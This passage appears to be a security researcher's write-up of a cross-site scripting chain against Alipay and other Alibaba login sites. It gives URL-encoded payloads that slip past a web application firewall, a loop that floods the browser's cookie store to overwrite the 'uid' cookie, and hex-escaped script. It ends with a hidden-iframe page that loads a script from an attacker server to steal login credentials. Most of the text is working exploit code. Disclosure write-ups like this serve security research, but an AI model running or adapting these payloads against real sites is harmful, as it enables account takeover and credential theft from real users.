However, It didn’t, though. Because of another AJAX request made by the JavaScript. Considering the line 10 of the gist code, the JavaScript library mentioned before had a dependency to an AJAX request. The request was:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><script>&searchType=0¤t=1
The WAF blocked the second request as detected the payload malicious (No doubt that any WAF should block "><script>
). The bad news was according to the library, only 200
status code will result in reflecting the payload (The line 11 in gist code):
if (200 == b.code) {
SO, a payload was needed to bypassed WAF in two requests at the same time.
More fuzzing was needed here. Several vectors were tested. Afterward, the golden payload was discovered:
<details/open/ontoggle=JS>
Which bypassed the WAF in the AJAX request.
Advance thanks to HTML 5. So the final payload was:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;details%2fopen%2fontoggle=%26lt;
Which caused to send second AJAX request:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><details/open/ontoggle=>&searchType=0¤t=1
Both are acceptable from WAF. BINGO!
Since the ynuf.alipay.com
sets the cookie for its domain with uid
name, it cannot be overwritten from another domain. Adding another cookie with the same name with .alipay.com
attribute won’t solve the problem too, since if two cookies named xxx
exist for a domain, the default behavior is browser puts old one earlier in the HTTP request so the server takes the first cookie.
Tests have shown browsers save limited amount of cookies per domain. As an instance, Google Chrome saves less than 150 cookies for a domain, while Firefox saves roughly 200. More details:
http://browsercookielimits.squawky.net/
As a consequence, the payload was simple:
for(var i=0;i<1000;i++){
document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'
So the attack vector is eliminating the old uid
cookie by adding many junk cookies, adding new uid
cookie filled by the malicious payload.
Since the WAF blocked the ")+alert("xss
, the equivalent value replaced to evasion the WAF:
document.cookie='uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/'
The final payload as simpler than expected:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
Visiting the URL above injects malicious JavaScript code in the cookie which is executed in the many domains of Alibaba company, For example:
https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
Obviously, there are more sites affected.
The final goal is to account takeover in Alibaba’s websites. The scenario is tricking a user to click on a link, then if user login next time, the account will be compromised. The source of link firing the vulnerability:
<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
The iframe
src uses the following payload instead of alert
to inject malicious JavaScript file and load it dynamically:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
Obviously, the payload located in https://myserver/xpl.js:
Eventually, after a user visits the attacker’s link, and login into https://login.alibaba.com/, the credentials will be stolen and saved in https://myserver/xxx-alibaba/data.txt:
{"u":"alibaba@alibaba.com","p":"password"}
Account takeover accomplished.